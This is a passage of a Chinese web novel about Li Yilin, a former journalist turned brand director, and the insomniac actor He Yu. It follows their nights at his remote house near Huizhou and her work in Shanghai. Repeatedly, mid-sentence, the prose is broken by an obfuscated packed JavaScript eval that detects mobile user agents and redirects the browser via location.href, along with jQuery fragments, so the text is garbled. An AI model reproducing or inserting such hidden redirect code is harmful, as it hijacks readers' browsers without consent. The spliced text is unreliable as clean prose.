d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459240|169676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 默，善于旁观，远离世界。 李伊林大学毕业那年，何屿摘得国内头部电影节影帝。舆论再次两级分化：粉丝群体迅速壮大并极力夸赞，反对者再次将何屿的家庭背景炒上热搜，定义此次影帝桂冠为特权阶级黑幕操作——他们为何屿起了个指代黑称：何水帝。 这些外部变化均与伊林没有关系，她也并不像她的朋友一般，对大众文化完全排斥。她始终记得何屿在每一部剧中表现出的，对外部世界的宁静对抗。在内心深处她认为，她懂得这种来自深处的坚守。风口变迁，热潮更替，价值涨跌，身不由己的起起伏伏，她明白每一个人无可奈何的随波逐流。但她同时坚信，有那么一些人，面对变化，始终选择不变。 但她同时明白，何屿之所以有选择的底气，是因为他的阶级。从出生开始，他就不用考虑生存问题。他继承了母亲的美貌，父亲的聪颖。他不用讨好任何人，自然不会让自己受任何委屈。他接戏的频率不高，商业代言更是几乎没有，他组建的团队亦全是业界精英，因为他的家庭背景不允许他用没有行业背景的随行员工。 在险境环生的演艺行业，他被他天然拥有的财富、名誉、权力，保护得很好。 伊林的家庭环境只能算中上。父亲是大学教授，母亲是医生，有一个大她七岁的哥哥，18岁考去纽约大学，毕业后在美国做医药代表。从小家人对伊林管得不是很严，她喜欢做什么也没人拦着。文理分科时伊林选择文科，班主任特地来家里劝，李伊林文理科成绩相差不大，选择文科以后不好找工作。父母只问了伊林的想法，她说她想做记者，父母即表示尊重。 李伊林从初中就很喜欢杂志，到高中家里订阅的杂志达到十几本。从十六岁起，她的梦想就是学习新闻，进入传媒行业做个写字的。高考那年，她朝着最好的学校努力，但最终在填报志愿时，没有冒险选择北大。进入复旦也是运气，她所在的地区填报复旦新闻系的只有她一位。 大学四年，她过得轻松丰盛，几次暑假都是在美国哥哥家里度过。一年研究生期间，她为最喜欢的明周刊做实习生，毕业后顺利转正。 在李伊林前23年的人生中，几乎没有什么称得上困难或者挫折的事。直到她的26岁，明周刊被收购，创始人被迫离开，从16岁就确定记者之梦的李伊林在内争外斗中疲惫离开，心灰意冷，决定转行。 在离开明周刊之前，她接的最后一个人物专访是何屿。整场采访本来只有一个小时，李伊林与何屿在酒店房间里聊了近三个小时。这三个小时让伊林更确定一个事实：何屿是在用表演逃离。镜头是他一种隐秘的释放。至于随之而来的声名利益，对他来说，反而累赘。 伊林继续望向那张熟悉的脸。床上的男子将面容埋进被子里，伊林从座椅上站起来，坐在床边，帮他把被子拉至脖颈。墙上方形电子钟显示凌晨1点40，整个世界沉浸在静谧的黑暗之中。 在她到来之前的五个凌晨，何屿是如何度过的？ 伊林摸摸发梢，湿气基本散尽。或许是疏忽所致，上周从隔壁房间拖来的床垫并未出现，这意味着伊林只能与何屿睡在一张床上。夜已深，旅途带来的疲惫让伊林意识沉重。她不想太多，掀开羽绒被，在何屿身后躺下。 男子身上有熟悉的乌木沉香，如同幽深庙宇。她知道，这是他用来助眠的淡香味。何屿像是察觉了她的存在，翻过身来将伊林搂入怀中。困倦与疲累让她懒于抵抗。已有近四年，她不与任何人有可以相拥入眠的关系。 她很快进入梦乡。 6. 第 6 章 6 伊林醒来时，卧室里安静异常。遮光窗帘让室内一片昏暗，她伸手摸了摸，身边无人。 按亮手机，已是上午十点半。伊林起床，拉开窗帘，去浴室简单冲了个澡，穿好蓝色衬衫与浅灰色收口卫裤走下楼去。她本以为何屿已去片场，却没想到，演员正坐在巨大落地窗前托腮看书。金色阳光透过绿意葱茏，将他的轮廓勾勒出浅浅金边。当他抬头望向她，伊林有一种感觉：他们并非处于同一时空。 “醒了？”男子对她绽出微笑，随手将书本合上，收至窗边书架。“早餐在厨房，微波炉热一下再吃。”他随意对她说。 这个穿着浅灰色卫衣与深蓝色休闲裤的男子，恢复了与伊林首次见面的礼貌微笑，与井然有序。蓬松的褐色头发、漂亮的棕色眼睛、高挺如刀削般的鼻梁、缀有健康粉色的薄唇，构成那一张精心雕琢的、堪称完美的脸。昨晚的他是真实存在的吗？ 李伊林朝着他走过去，在他对面坐下。她仔细看进他的眼睛，想从中捕捉到一些或者冷漠疲惫，或者不堪重压的真实。 “……怎么了？”何屿稍显疑惑地回看她。 “还以为你去片场了。”伊林依然看向他的眼睛。她控制着自己，没有问出真正想问的话。 “B组赶进度，我可以休息两天。”何屿自然给伊林倒一杯热牛奶，起身走去厨房。“叮”一声，微波炉开始工作。两分钟后，何屿端着早餐盘走回窗前。“趁热吃吧。”他没有坐下，站在桌旁递给伊林餐具。 “……谢谢。”在伊林接过刀叉之后，何屿离开她，去客厅打开电视，看向外文频道的全球新闻播报。他给她一种感觉：此时此刻，他不想给她机会，询问昨晚她看到的一切。 李伊林快速沉默的解决早餐。吃完后，何屿没有让她收拾，只将餐盘收至厨房。“一会儿阿姨就到了。”他向她解释。而后他再度看向窗外，“今天天气不错，去外面坐坐？” “……好。”李伊林答应着，随他走出大门，去往庭院。后院里种满热带植物，在一棵老榕树下放置着大地色系露营桌椅，上面摆好了冰冻果茶。他带着她走过去，“坐吧。”他说。 伊林循声坐下，何屿坐在桌子的另一边。他喝一口果茶，看向循着树干游走的金黄光斑。 “这栋宅子是祖父建的，因为太偏远，一直是园丁住着。”何屿随意开启话题，像要与伊林闲聊。 “这里应该靠近惠州？”伊林通过一些沿途风景判断。 “嗯。在大路上是看不到的。” 不论是从广州，还是从惠州，到这里都需要差不多一小时车程。对于日常生活来说，算不上方便。 “你祖父为什么……会选在这里住下？” 这只是个平常问题，却让气氛陷入紧绷的沉默。伊林稍有疑惑看向他，对方的表情变得冷淡，带着些许自嘲。 “祖父选择这里的原因……说来可笑。已婚16年的他在这附近的村子遇上一个喜欢的女人，专门建了座宅院给她住，顺便开辟一个隐居处。” 伊林收回目光，没有说话。在知道这个事实之前，这座宅院带给她的第一印象，是避世，空旷，冷寂，如植物般古老干净。这种印象移植到了出现在大厅中的何屿本身。而实际上，它并不冷寂，更不干净。而它依然属于何屿。 “人与人之间的关系本来就是倾斜不安，自私不稳的。”何屿用那双漂亮的眼睛冷漠看她。“所以我很满意我们之间的关系。我对你必有所求，你则因为丰厚酬劳和代言合同，与我形成利益共同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459241|169676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体。在你我的合作关系里，没有感情这种既自私又龌龊的不稳定因素。我们的关系是被陪伴协议、代言合同清洁过的。” 庭院里有风拂过。南方以南气温虽然温暖，起风时依然会有些许凉意。阔叶植物发出些微的哗啦声，马上归于沉寂。遮蔽阳光的云层缓慢移动着，些微阴影笼罩在地面上，再倏忽不见。 李伊林毫无情绪波动，看向庭院之外。这是何屿对彼此关系的界定，是他对伊林暴露出狼狈脆弱之后的反击。他将伊林置于下位，警告她不要有任何非分之想。在最初的冒犯感之后，伊林只觉得可笑。看来这是何屿的惯常态度，他是一向的上位者。 “是。这种关系对你我来说都更安全。”伊林看向何屿，“希望你们做好保密工作，我不想让自己的名字跟你有任何关系。”她的声音冷静，锋利。是她在部门谈判时的惯用语气。然后她收回目光，站起身来。“你今天白天应该不用睡觉？我回广州去见见朋友，晚上8点回来。” 不等男子回应，伊林转身走入大门，径直上了二楼。她对何屿的反应不感兴趣。她拿出单肩包，装好一天在外所需日用品，看了看荒无人迹的窗外，用手机叫了加价电召出租车。 在她下楼时，看见何屿在大厅抬头望向自己。伊林当作他不存在，径自向下走。 “……车钥匙。”路过楼梯口时，何屿将手里握着的东西放在伊林手里。男子的声音恢复了首次见面的温和，“如果你需要司机，大概需要等十分钟。” “……谢谢。”伊林没有接车钥匙，对他露出礼貌性微笑。“我叫了车，附近刚好有。”她打开app看了眼，车子还有20分钟开到。“晚上见。”她没有再看何屿一眼，推开大门，走出草木茂盛的小路，走向车开来的方向。 7. 第 7 章 7 伊林来广州没有约任何人，上出租车后临时问了之前在明周刊的好友知楠，刚好对方有空，约在东山口见。 算起来与知楠也有两年未见。两个人约在东山口一间以前常去的老餐厅。伊林与她倒也聊得尽兴，一顿中饭吃了近三个小时。午后，知楠带着伊林去逛已被潮流文化占领的东山口，给她介绍每一个店铺风格，以及哪些是本地年轻人开的仅此一家。很多店里都有一种独属于广州的时髦感：岭南文化的古老与当代潮流结合在一起，是完全不同于北京上海的粤式风潮。 伊林走着，看着，脑中在想的是利希斯或许可以在这里做一场快闪，将森林系列与广州繁茂昌盛的热带植物丛做结合，突出新品繁盛的生命力。 走完整个街区，已是下午6点。12月的天空步入暗蓝，知楠带着伊林在已被翻新的老字号糖水铺里坐下。“老味道，还记得吧？”知楠递给她密密麻麻的组合菜单。 “记得。”上一次来这里，已经过了整整五年。“红豆双皮奶，你的最爱。”知楠的声音响起，伊林忽然眼眶发热。 那时是杂志的黄金年代。记者为了一篇好稿四处奔波，采访尽可能多的事件中人、旁观者、各领域专家、时代亲历者。编辑会为了一期专题，读尽能找到的所有关联书籍，动用八方关系，去约到最好的作者。版面设计会为了最好的版式呈现，死磕到一根线的粗细位置。摄影师天南海北的跑着，只为凝固住这个世界里最为动人的瞬间。那是一群人不计成本的理想，和不计回报的付出。“明周刊是一群手艺人”，这是创始人兼主编最常说的一句话。是啊，阅读，写字，拍摄，设计，印刷，成册，运送，上架……在一双又一双手之间完成。整个商业社会亦尊重这种执着的付出——百万级的订阅量，带来的是版面广告的过量需求。在那最年少轻狂的传媒业的黄金时代，李伊林认为，这是她可以从事一生的职业。在这里，她不用讨好任何人。 这份“可以持续一生的职业”被置入昨日，只用了短短三年。人们不再花钱订阅纸刊，更没有耐心和兴趣去读一篇动辄七八千字的翔实稿件。变化并非一瞬产生。这群手艺人丛抗拒到接受，也不过用了半年时间。 知楠现在过得很好。她去了互联网大厂做公关，这是广州媒体人的普遍出路。知楠向伊林吐槽了部门间的撕扯内斗，伊林听着只觉熟悉。“在哪都一样，至少给你的薪酬和股票很好。”她安慰知楠，同时安慰自己。 “是。”在物质上，互联网也好，品牌也罢，都给予了这些曾经的媒体人向上跃升的待遇。在确切的物质回报面前，放弃理想也不算什么。一切都在朝着始料未及的方向变化，粗制滥造与精细深刻的对抗亦并非始于今日。她们都不是什么立志伟大的人，也曾经将自己的二十多岁全权献出而不求回报。如今也已步入三十多岁，知楠有固定男友，但并不想结婚生子。伊林则更喜欢独身。二十多岁那种不顾明天的活法，在人到中年的她们看来，早已是不切实际。四十岁、五十岁、六十岁……都已在不远前方。如今的她们内心明晰，这世界上唯一能让人有尊严老去的必要条件，是物质。 喝完了糖水，时钟指向7点。暮色已至，华灯初上。伊林打开手机看，几条新信息，有一条来自方华。她为她安排了车，问她具体地点，好过来接她。 与知楠度过的一天怀旧而美好。这让伊林的情绪有所缓和。此时的她再度回想起晨间对何屿的反应，知道自己亦有些过激。出门前何屿递给她车钥匙，已是体面给台阶。但她任性不接。何屿对彼此关系的界定亦无错处，伊林明白，自己的反应过度，是因为她明白，在内心深处，她早已单方面将何屿当成“同类人”很多年。这是她单方面对“偶像”持有的感情，却被毫不知情的何屿完全拒绝。她的应激背后是难以接受的愤怒。而在此刻，这种愤怒转换为接受之后的难过——何屿并非她想象中的“宁静的对抗者”，他只是习惯于与任何人划清界限的特权阶级。只不过他选择成为演员，有了包装与人设，仅此而已。 伊林告诉知楠自己还约了另外的朋友，与她在路口告别。然后她找了间咖啡店靠窗坐下，给方华发了定位。对方回得很快，二十分钟到。在等待的间隙，李伊林看向窗外这个熟悉又陌生的城市。有瘦削高挑的短发女生穿着利索的一身黑色快速走过。是了，广州女孩喜欢极简，喜欢纯色，喜欢快速穿行在日晒充足的炎热街头。那是她曾经的二十岁，相信文字有改变更多观念的力量。她带着名为记者的名号，一头扎进现实里，再被对错难辨的灰色淹没。在面对真相的怀疑与焦虑之中，她给自己建立了一个理想偶像。他高贵，干净，平静执着，温和不变。 偶像的结局总是破灭。这没有什么好奇怪。这并不干何屿的事，这只是李伊林的事。 黑色车子停在店前开启双闪。李伊林推开玻璃门坐进后座。与司机确认信息后，车内陷入沉静。她放任自己远离曾经拥有的一切。 晚间堵车，回到庭院，已是接近9点。庭院亮起纸灯，倒像寺庙。伊林本想敲门，却发现大门并未上锁。她走入空荡会客厅，何屿坐在沙发上看电视。 室内仅亮有一盏橘色环境灯，为原本灰白色的大厅染上暖意。察觉另一个人的靠近，何屿看向李伊林。“回来了。”他说。 伊林向他点头。“回来了。”她把包取下站在沙发旁，以示她并无意长期闯入他的空间。画布一般的电视里在播老电影，《飘》。 “坐吗？”何屿自然问她，嘴角有礼貌性微笑。像一个邀请。 伊林迟疑片刻，选择坐下，与他相隔一人位。“你喜欢费雯丽？” “嗯。不过现在更多是想看她的表演。” 作为一个野心勃勃、目的明确的角色，斯嘉丽的确与何屿正在扮演的人物形象有所相近。 “……斯嘉丽是女性，没有关系吗？” 何屿转脸看看她，再回到电视。“性别只是表象。人的内在是相通的。” 这让伊林感到新奇。一个生于权力掌心的世家子弟，却对两性持平等观念。但她亦很快调整思维：这仅是何屿在表演领域的看法，并没有涉及到真正的权力分配场。 身边男子再度沉浸到百年之前的故事中去。伊林亦不再说话，陷入沙发，享受朦胧温暖的惬意。在上海，她早已习惯两点一线，独自一人。职场中的事务繁杂、权力倾轧，她只想在下班之后的闲暇窝在家中，丢盔卸甲，长久沉默的放空在空白般的宁静里。 这种在休息日与老友尽情聊天、回到家中有互不干扰的另一人相伴的生活，让她内心发软。这是如初生绒毛般舒适的生活，它是奢侈的。 电影放完，时钟显示十一点半。何屿关掉电视，开启厅内大灯。一切忽然明晰如白昼，如同幻梦结束。伊林有些不适应的用手遮光，再接受现实。 “……抱歉。”何屿礼节性对她说。他将遥控器垂直放在古董茶几上，又像强迫症一般将桌面其他小物件摆正。“我先去洗澡，主卧里给你备了床。”说话时，他并没有看向伊林。而后他站起身来，走上二楼浴室。 伊林并不在意。何屿已用一场电影掩盖了晨间尴尬，他的台阶已给到足够。 男子消失在楼上之后，伊林去厨房倒了杯柠檬水喝下，待二楼浴室水声响起再去次卧浴室冲澡。换好睡衣、吹干头发后，她回到何屿所在的房间，男子半长的头发蓬松，穿着一身浅米色睡衣盘腿靠在床头刷手机。 “十二点了，你不困？”伊林自然坐在多出来的木床边上问向对方。事实是，她与何屿一起睡过的晚上比共度的白天多，在晚间床上的临睡时光，她反而放松自然。 “嗯。准备睡了。”何屿说着将手机按灭，修长身体躺进羽绒被里。“记得关灯。”他闷在被子里说。 “好。”伊林将床头小灯打开，去门边关上大灯。然后她像何屿一样把自己裹进被子里，熄灭最后一盏灯。 黑暗中，只留下彼此的呼吸声。 伊林知道自己累了，但她的精神似乎并不想停止——那些白日所见与老电影中如画一般的彩色光影相重叠，形成场景和故事。如果是在自己家中，李伊林会马上爬起来打开电脑，即兴写那么一段。但现在不行，她是为履行合约义务而来。在这个房间内，她首先需要保障的是，何屿的顺利入睡。 “……今天你都去了哪里？”男子温和的声音传来时，伊林正翻了个身，准备冥想一段时间。 “东山口老城区。现在变得好时髦。”她睁开眼睛，在黑暗中随意回答他。 “嗯。有几个小酒馆我去过。”看起来，躺在另一张床上的人并不着急入眠。他想与她闲聊。 “……你出去，不会被人认出来？”伊林被勾起了对明星生活的好奇。 “戴着鸭舌帽，订个包厢就不会。我常去的那家有个爵士房，我一般坐角落桌，灯光很暗，基本看不清脸。” 伊林想了想这样的生活。像一条观赏鱼，没有一刻喘息之地。 “……无法想象这种时刻被人注视的生活。” 她似乎听见男子轻笑的声音。 “所以你说，不想与我的名字有任何联系？”这声音，在黑暗中显得清晰，锐利。 “那只是……只是气话。你不要当真。”伊林有些尴尬。她往被子里缩了缩。 气氛再度沉入黑暗。而后男子的声音再度响起。 “你为什么生气？” 伊林一时无法回答。因为她对何屿漫长的认定与……憧憬？因为何屿以一种上位者的威压予以警告？因为她并不想承认自己被推远、被刺痛？还是仅仅因为，她厌恶自己被仅仅当成工具？每一个答案……都让她难以启齿。 在悬而未决的沉默中，何屿对她说了声，“……抱歉。” 伊林觉得奇怪。“为什么抱歉？” “……我不该说那些话。” 他的歉意令人心软。伊林闭上眼睛，觉得被子是一个巢穴。 “跟你没关系。你是那么想的，就会那么说。是我自己接受不了。”她选择坦白，并做好被追问的准备。 “……你为什么离开明周刊？” 伊林有些讶异，不自觉睁开眼睛。这个问题脱离原有轨道，显得没有逻辑。她觉得奇怪，但也没想太多。或许何屿只是在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459242|169676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 漫无边际的用聊天自我催眠。 “纸媒环境变差，创始人被逼走，内斗严重，觉得心累。” 伊林隐于黑暗之中，回想起她的八年之前。 “离开后，也不想去其他纸媒，头部的明周刊都已经变成这样，其他的更好不到哪去。” 那是一段破灭的灰色时期。有很长一段时间，伊林不愿回想，更不想提及。但时间过去，在生疏异地对着一个陌生人提起，心情很平静。有些事……她想要倾诉。 “离开杂志，也可以继续写作。……你不写的原因是？” 这个问题，曾无数次浮现内心。她在黑暗中看向何屿的方向。 “刚开始时，是因为转行带来的压力，每天只忙着学习和理解新的行业规则，跟自己以往的思维和价值观较真、打架。后来呢，是觉得心累。工作上横向交叉太多，想做成一件事，需要的不仅是业务能力，还要会为人处事、忍耐斗争。静下来写点东西这件事，变得非常奢侈。” “能够理解。”男子的回答简短，带有安慰。“身份转换更像换了世界。” 是的。或许作为经常转换身份的演员，他能马上理解。或许只是因为他善于观察，精于诱导。但这都无所谓。伊林只想说出更多。 “那时也年轻，多少有点文人傲气在身上。我为什么要为怎么卖掉更多东西冥思苦想？我本来是个写东西的，更擅长一针见血、唱唱反调。” “……的确。”男子声音中带有些许笑意。“你们明周刊从来不讲好话。” 他的回应让她觉得亲切。他似乎是一个……好听众。也许，何屿曾经是她的读者。 “在明周刊上班的都是同类人，兴趣领域相近。写稿子总是一个人搞定所有，习惯了当独行侠。……去了品牌市场部，总是大横向协调所有部门工作，表面上一团和气，实际上没少为了资源勾心斗角。工作考核标准也不再是稿件质量、专题质量，变成一堆用钱拱来的数据。” 那是刚刚进入品牌市场部的前半年。伊林只身来到上海，天天失眠，没有朋友。但她必须学会忍耐。 “……有半年时间，我是在自厌中度过的。只能安慰自己，公司给的报酬不错。” 伊林的自嘲冷漠平静。她知道，这样的她让人失望。 “……然后呢？”何屿问她。短暂的空隙之后，男子接着问她： “转到另外一个行业，你找到自己想要的东西了吗？” 这句话，问得很奇怪。但李伊林却认为，她懂得。 “是在最初的浮躁散去之后，我发现了一些……” 伊林思考着，尝试表述得更准确。 “以前在媒体，更多是空有一支笔来好为人师、指点江山。现在在企业，抛下那些令人厌烦的部分，慢慢沉浸其中，就会发现制造实体商品的意义。” “……与一人就能完成的阅读与写作不同，在实体产业的工序中，从设计研发，到最终生产，很多工序是要团队接着团队，一步步进行的。这过程复杂，艰难，充满变数，但一旦完成，就会有特别充实的满足感。” 经过了一些断续思考，伊林的声音走向柔和，笃定。 “……每一步创造，都需要朝着解决某一人群的需求更进一步。市场是要对更多人讲故事，让他们理解产品，对它产生憧憬，再让它成为生活里更好的一部分。” “不同以往，这些工作，完成的是对一个又一个人有效立体的触达、帮助，它产生的是更切实的改变。” 伊林顿了顿，她向自己坦白。 “如果说在传媒行业我更多建造的是空中楼阁，来到品牌，我开始脚踏实地。” 说完之后，她自嘲笑了笑。 “抱歉，这些话听起来无聊又枯燥。” “……这些经历和感受，难道不更值得写？” 男子的问题，让她的自嘲没有被继续的机会。伊林终于察觉到何屿的奇怪之处。他好像对她的停止写作，比她本人更执着。 “我会写日记，记录下一些心境的变化。但不会长篇大论，也不会把这些经历系统性编成故事。因为没有那个环境。” “什么环境？” “静下心来，一字一句建设故事的环境。” 开启话题的人陷入沉默。这场谈话，让伊林有种解脱感。这些话，这些年，她从未有合适的机会、合适的对象去谈起。何屿只是一个不想与她有任何关系的陌生人，却给她建造了一个安全空间，让她可以把内心深处的东西，毫无保留，悉数晾晒。 “……睡吧。”长久沉默过后，伊林翻了个身，想结束这场谈话。 “我会支持你继续写下去。”何屿的声音轻而温柔。“晚安。”他说。 伊林再度睁开眼睛。她的眼眶发热，心跳加剧。她花力气抑制所有感受。 夜的时间被拉长，渐渐的，另一个人的呼吸逐渐平稳。 伊林尽量不发出声响，侧身向他。尽管目及所处皆为黑暗，但她觉得，他的给予，像一个拥抱。 拨开纷乱的错觉与误认，李伊林确信一件事。 何屿是同类。 8. 第 8 章 8 次日清晨，李伊林醒得很早。她悄悄起身，在次卧完成洗漱，再安静坐在窗前。 这是一个实验。十分钟过去，隔壁主卧并无动静。伊林确定，这是可以让何屿持续睡眠的安全距离。 她在手机上确认航班，显示并无延误，下午一点准时起飞。庭院处地偏远，她需要提前三小时出发。 时钟近8点，何屿大概会在9点醒来。在李伊林离开之后，他要重新面对与失眠为伴的新的一周。 伊林望向窗外。晨间阳光很好，有鸟雀聚来，发出鸣叫。风随云层流过，在远处野蛮生长的大片绿色洒下光辉。光明与阴影流转之间，静谧世界的光彩焕然，不同颜色的热带花丛仿佛一夜盛开，是未经修剪的肆意与美。伊林想象另一个人走出阳台，欣赏这场堪称妖冶的浪漫。漫长黑夜被光明吞噬，广阔无垠的天空一片蔚蓝。对于失眠之人，这会带来安慰吗？ 隐于植物间的小路上，一辆小车从大门进入，副驾车窗打开，一条小黄狗稍稍探出脑袋。伊林认出，这是管家阿姨的车，小狗大概是阿姨家自己养的。大门传来声响，很快归于安静。片刻之后，园丁开始在庭院忙碌。 小黄狗或许是被训练过，无声跑上二楼，站在李伊林这个陌生来客的房门之外。 “进来吧。”她对它轻声说。柔软温暖的小动物轻快跑来，栖息脚边。它的柔软毛发反射着太阳的光辉。伊林微笑着抚摸它小小的头。然后她打开手机备忘录，一字一句，记录下这个瞬间。 9点半左右，伊林听到主卧门被打开。她走出次卧，对刚醒来的何屿说早安。男子已经走下楼梯，回头看向伊林。他刚刚冲好澡，半吹干的头发有些凌乱，让那张漂亮的脸显得更加年轻。他穿着一身浅灰色睡衣，站在晨光中对她微笑。“早安，伊林。”他对她说。 这个时刻，李伊林感受到一种无可抑制的心动。在她心中，那些被凝固的、属于何屿的时间，忽然开始流转。 男子没有过多停留，转过身继续下楼。小黄狗掠过她，跟着更熟悉的另一个主人跑下楼去。那是一个带来幻想的温馨时刻，只适合出现在远离现实的偏远宅院——尽管李伊林早已知道这是脱离现实的、越界的、令人不安的，她还是一步一步，跟着何屿走下去。 楼下早餐已备好，同时来等待的是方华安排好的送机司机。何屿询问了她的航班时间，看起来并不知道伊林的行程安排。 “中午一点的飞机，有些赶。”何屿放下茶杯，在手机上查看航班信息。 “回去后还有一些工作安排。”伊林不自觉向他解释。 男子柔和看向她，“辛苦了，这样两地跑。” 伊林下意识躲避那双漂亮的棕色眼睛。“没事。我也很久没回广州了，每周回来看看也不错。” “下个周末，我们去东山口喝一杯。”伊林抬头看他，何屿笑起来像个少年。“放心，我会拜托剧组化妆师化个老年妆，不会让人认出来。” 伊林浅笑。她看向难得孩子气的英俊男子：“期待你的易容术。” 十点一刻，司机进来礼貌询问行李件数，实际是提醒伊林准备出发。 何屿起身，将她送往大门外。车子启动后，伊林回头去看。他没有招手，只是目送。 离开庭院，到达机场，手机收到的依然是方华的送别微信。这是李伊林与何屿的第三次会面，她依然没有对方的任何联系方式。 登机提示重复响起。伊林拿起机票，提起行李，登上返程飞机。 回到上海家中，已是将近5点。12月的上海已经入冬，房间里冷得像冰窖。伊林把空调暖风开到最大，去冲了个热水澡，换好加绒卫衣卫裤窝进沙发里。从手机里叫了小区熟人餐厅外送，在等待的时间里，李伊林打开电脑中名为“何屿”的文件夹。 伊林收藏有何屿的22岁到36岁。从20岁开始，她就已习惯在宣传期将何屿的图存进电脑。年轻时，她曾对他有过狂热期，然后慢慢冷却。宣传期之外，何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459243|169676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屿的常态是消失，她也不会刻意搜寻。像一个周期，何屿消失，再出现，带来一个新的角色、新的故事，供人观赏，再被人遗忘。 在这个文件夹里，有他作为明星与演员的剧照，杂志照，路演照。她一张一张翻看着，这14年的时间里，他变得更加封闭、沉默。那张在年轻时过分漂亮的脸，有时会被他的主人蓄上胡须，有时又会因剧情需要变得阴郁、邋遢。而在路演里的他，总是一副冷淡、旁观的姿态。他的笑容挂在脸上，始终带有距离。他的美向来不易接近。 门铃响，伊林去拿了外送晚餐，收拾好餐桌，她将电视打开，在视频库里找到何屿五年前的获奖片《齐蓝》。然后她坐在餐桌前，正对着电视的位置，跟随男子扮演的出租车司机，独自享用晚餐。 仅剩的周日晚上过得很快，伊林其实并没有得到足够休息。她本想申请周一居家，但想到有大部门周会，打消了想法。 看完《齐蓝》，是晚上9点半。她关掉电视，打开工作电脑，想过一遍明天的汇报材料。 在品牌工作八年，李伊林已对各式汇报轻车熟路。10点刚过，工作邮箱跳出新邮件，通知明日统一过新年第一季预算。她叹了口气，关掉邮件，重新打开汇报文件。 这是最烦的事。每个部门预算都有可能被缩减，唯一的补救措施是用方案说服。而现阶段方案基本是拍脑袋决定，不会落地。只是为了占预算并压制其他部门，让自己的组员占有更多资源。这是所有总监、VP的心知肚明，这些冠冕堂皇的无效工作唯一的功用是为了明争暗斗，它毫无意义，也只能悉数接受。 伊林重新打开汇报材料，现在再去为下属布置任务也不现实。面对这种临时通知，只能自己完成。 25层高的窗外，东方明珠塔已熄灭，仅剩下四周包围的通天大楼楼顶，航空灯依旧闪烁。半空中的生活有晨间的明亮，午间的明媚，与晚间的绚丽。在李伊林独自一人的世界里，支撑这一切的，是工作至凌晨的日复一日。 9. 第 9 章 9 周一预算大会，李伊林统管的传播大组被挪移四成预算，补贴给品牌做线下活动。伊林在大会上通晒传播组整体方案，并在总执行表上标清每部预算，请CMO做决定需要砍去哪一部分。最终结果是，传播大组预算只能腾挪一成，品牌内部腾挪其余预算给到线下活动。 下会之后，四个品牌组VP都来跟伊林打招呼，她全部客气回应。作为高级总监，伊林心知肚明这种针对预算的“突然袭击”都是怎么来的。客流未达标，四品牌组VP联合做好线下方案，在未知晓横向传播组的情况下去找过CMO划拨费用。虽然整体传播方案已经汇报过，但并非细致到每一部分的预算设置。CMO自然会从传播组开刀。如果没有伊林熬到凌晨四点做完整个规划，费用腾挪板上钉钉。 回到办公室，组员来提醒下一个组内会议即将开始。伊林放下电脑喝一口水，去往下一个会议室。 四条品牌线的传播以及媒介投放计划，均需要在周三前给到可落地的实际执行方案。李伊林需要在两个工作日内过完8版方案。她的日程表每日从早9点排到晚9点。 完成今日工作回到家中，已经将近十点。伊林在客厅看着东方明珠塔熄灭，再去洗热水澡。吹干头发躺在床上，她已经没有任何精力。 “这些经历和感受，难道不更值得写？” 在难得的闲暇与交心中，它们当然值得写。但是在这样一个回归现实的夜晚，只是经历，就已精疲力竭。 被工作占据的时间里，伊林只有在睡前会想起何屿。没有睡眠支撑，他是否会回到上周五的糟糕状态？然后她会提醒自己，她没有何屿的任何联系方式。在履行双方合同之外的时间里，他们只是陌生人。 周三晚上9点半，刚刚完成CMO汇报会的伊林收到方华传来的微信信息，何屿在利希斯总部大楼地下车库等她。他开一辆奔驰S500，车位号与车牌号在信息结尾。 读完信息，伊林一瞬间大脑空白。她的办公室外，空无一人的工作区内大灯正在自动熄灭。她站起身来，利索收拾好随身包，拿上外套快步走去电梯间。等电梯过程中她稍微冷静一些，打开微信回复方华知道了，再对着电梯内稍有些变形的反光处整理头发。她没有问何屿为什么来上海，也没有问何屿为什么这么晚出现在利希斯公司楼下。她的心跳得很厉害，难掩情绪哽在喉间——在间刻不停的忙碌中，她已经忘了何屿真真切切出现在她的生活中。直到这个时刻，这条微信，李伊林的现实突然被幻梦翻转。 